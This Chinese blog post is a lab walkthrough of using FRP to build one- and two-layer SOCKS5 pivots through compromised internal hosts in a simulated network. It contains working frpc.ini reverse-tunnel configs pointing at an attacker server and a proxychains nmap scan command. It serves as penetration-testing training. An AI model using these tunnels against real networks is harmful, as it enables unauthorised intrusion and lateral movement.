FRP使用

发布于 2021-09-09  125 次阅读


模拟网络拓扑环境

机器编号IP地址机器性质描述
A110.203.87.119公网攻击服务器一个具有公网IP且拥有绝对权限的Linux服务器
V110.203.87.107 192.168.22.22内网服务器对公网开放但无公网IP,80端口存在Web服务,路由课抵达192.168.22.0段
V2192.168.22.129 192.168.33.128内网服务器不对公网开放,路由可抵达192.168.22.0和192.168.33.0段。
V3192.168.33.33内网服务器不对公网开放,路由可抵达192.168.33.0段。

模拟实际操作

场景一:创建一层代理

假设此时已经获取V1webshell,准备将V1上的流量代理到本地

首先,查看攻击机A1frps.ini配置文件,在攻击机开始监听

image-20210908214510265

frpcfrpc.ini上传到V1中,并将权限修改为777

image-20210908214812675

修改frpc.ini的相关配置

[common]
server_addr = 10.203.87.119 //攻击机IP
server_port = 7000 //攻击机frp服务运行端口

[socks5] // 标识 可以 随便起名 会在 服务端显示
type = tcp //选择类型
plugin = socks5 // 插件 定义为 socks5
remote_port = 10088 // 转发到攻击机的端口,也是proxychains需要代理的端口

效果如下表示成功:

image-20210908215937955
image-20210908220002530

修改代理设置:

image-20210909100048773

使用Nmap进行端口扫描

proxychains nmap -sT -Pn -n -T4 192.168.22.129

image-20210909100300841

场景二:创建二层代理

假设此时已经获取V2webshell,准备将V2上的流量代理到本地image-20210909101706765

v1中上传frpsfrps.ini, 在v2中上frpcfrpc.ini,并赋予777权限

image-20210909103022427
image-20210909103040057

V1上的frps.ini配置如下,并运行服务端程序:

image-20210909103334239

配置V2上的frpc.ini

[common]
server_addr = 192.168.22.22
server_port = 7000

[socks5_2]
type = tcp
plugin = socks5
remote_port = 10089

两边同时开启服务:

image-20210909104208012

此时V1上的10089端口成功代理出V2的流动,但是10089端口无法被攻击机访问,因此现在应该将v1的10089端口,进行端口转发。

image-20210909104422545

对v1上的frpc.ini配置如下:

image-20210909104655254

在v1上开启frpc,A1上接受到端口转发的请求:

image-20210909104850390

到这里二层代理搭建完毕。

总结反思

  • 流量的相互传递,建立在网卡是否在同一网段,也就是主机之间是否能正常通信。主机之间的通信过程就是流量的流向。
  • 内网中构建代理其实就是一个”手拉手“,将端口与端口之间连起来,形成一个流量通路。
  • 在构建多层代理的时候,我们只需要在最底层做socks5代理,其余各层做好端口转发即可。

frp其他使用参数

https://www.oschina.net/p/frp?hmsr=aladdin1e1